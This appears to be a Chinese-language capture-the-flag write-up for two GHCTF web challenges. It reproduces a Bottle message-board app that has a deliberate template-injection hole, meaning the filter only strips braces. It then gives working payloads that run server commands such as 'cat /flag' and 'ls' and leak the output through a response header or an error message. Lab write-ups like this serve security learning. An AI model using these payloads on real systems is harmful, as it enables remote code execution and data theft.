当前位置: 首页 > article >正文

ctf-WEB: 关于 GHCTF Message in a Bottle plus 与 Message in a Bottle 的非官方wp解法

Message in a Bottle

from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        <div class="message-card">
            <div class="message-content">{msg}</div>
            <small class="message-time">#{idx + 1} - 刚刚</small>
        </div>
    """ for idx, msg in enumerate(message)])

    board = f"""<!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>简约留言板</title>
        <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
         <style>
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
                outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="d-flex justify-content-between align-items-center mb-4">
                <h1 class="mb-0">📝 简约留言板</h1>
                <a 
                    href="/Clean" 
                    class="btn btn-danger"
                    onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                >
                    🗑️ 一键清理
                </a>
            </div>

            <form action="/submit" method="post">
                <textarea 
                    name="message" 
                    placeholder="输入payload暴打出题人"
                    required
                ></textarea>
                <div class="d-grid gap-2">
                    <button type="submit" class="btn-custom">发布留言</button>
                </div>
            </form>

            <div class="message-list mt-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h4 class="mb-0">最新留言({len(message)}条)</h4>
                    {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                </div>
                {message_items}
            </div>
        </div>
    </body>
    </html>"""
    print(board)
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

模板注入,查看官方文档得知

模板引擎允许您在模板中嵌入python代码的行或块。代码行以开头 % 代码块被 <%%> 令牌:

% name = "Bob"  # a line of python code
<p>Some plain text in between</p>
<%
  # A block of python code
  name = name.title().strip()
%>
<p>More plain text</p>

直接控制一个返回头,注意一定要有回车


<%
result = __import__('subprocess').run(
    ['cat','/flag'], 
    capture_output=True
)
encoded = __import__('base64').b64encode(result.stdout).decode()
__import__('bottle').response.headers['X-Output'] = encoded
%>


Message in a Bottle plus

发送尝试单个引号报错,双个不报错,只要把字符放在注释内就不报错,猜测waf为类似

a = input()
eval(waf = a)
template(a)

使用三引号绕过waf,报错带出回显

"""
that_runing
% out=__import__('urllib').parse.quote(__import__('subprocess').run(['ls'],capture_output=True).stdout);raise Exception(out)
"""

http://www.kler.cn/a/579945.html

相关文章:

  • 我的GraphQL工具实战:用Apipost提升开发效率的真实体验
  • 【由技及道】API契约的量子纠缠术:响应封装的十一维通信协议(全局的返回结果封装)【人工智障AI2077的开发日志012】
  • vue3学习-3(逻辑复用)
  • Linux的基础操作指令
  • 《WebForms 实例》
  • CentOS 7上安装Kubernete(k8s)的操作步骤
  • 帧率转换原理及读写指针实现
  • 选型消息队列(MQ):ActiveMQ、RabbitMQ、RocketMQ、Kafka对比
  • 代码随想录算法训练营第六十一天 | 108. 冗余连接 109. 冗余连接II
  • PB:如何获取Excel中的工作表数量
  • unity xnode学习总结
  • 【学习方法】技术开发者的提问智慧:如何高效获得解答?
  • Spring Initializr创建springboot项目,提示java 错误 无效的源发行版:16
  • 基于SpringBoot实现旅游酒店平台功能六
  • Vue3 路由的历史记录 如何不允许浏览器前进后退 在函数中使用路由切换组件 路由的重定向
  • 单链表-代码精简版
  • Pytorch 转向TFConv过程中的卷积转换
  • (每日一题) 力扣 860 柠檬水找零
  • 详解继承、多态、消息(对象间通信)和重载
  • A523 527 pk口控制